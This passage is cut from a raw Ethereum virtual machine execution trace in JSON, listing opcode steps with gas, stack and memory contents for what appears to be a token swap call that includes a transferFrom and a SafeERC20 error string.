842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12071,"op":"JUMPDEST","gas":78880,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12072,"op":"PUSH1","gas":78879,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12074,"op":"MUL","gas":78876,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x1","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12075,"op":"PUSH1","gas":78871,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12077,"op":"ADD","gas":78868,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12078,"op":"ADD","gas":78865,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12079,"op":"MLOAD","gas":78862,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x140"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12080,"op":"SWAP1","gas":78859,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12081,"op":"POP","gas":78856,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12082,"op":"PUSH1","gas":78854,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12084,"op":"DUP1","gas":78851,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12085,"op":"DUP4","gas":78848,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12086,"op":"PUSH1","gas":78845,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","00000002000000000000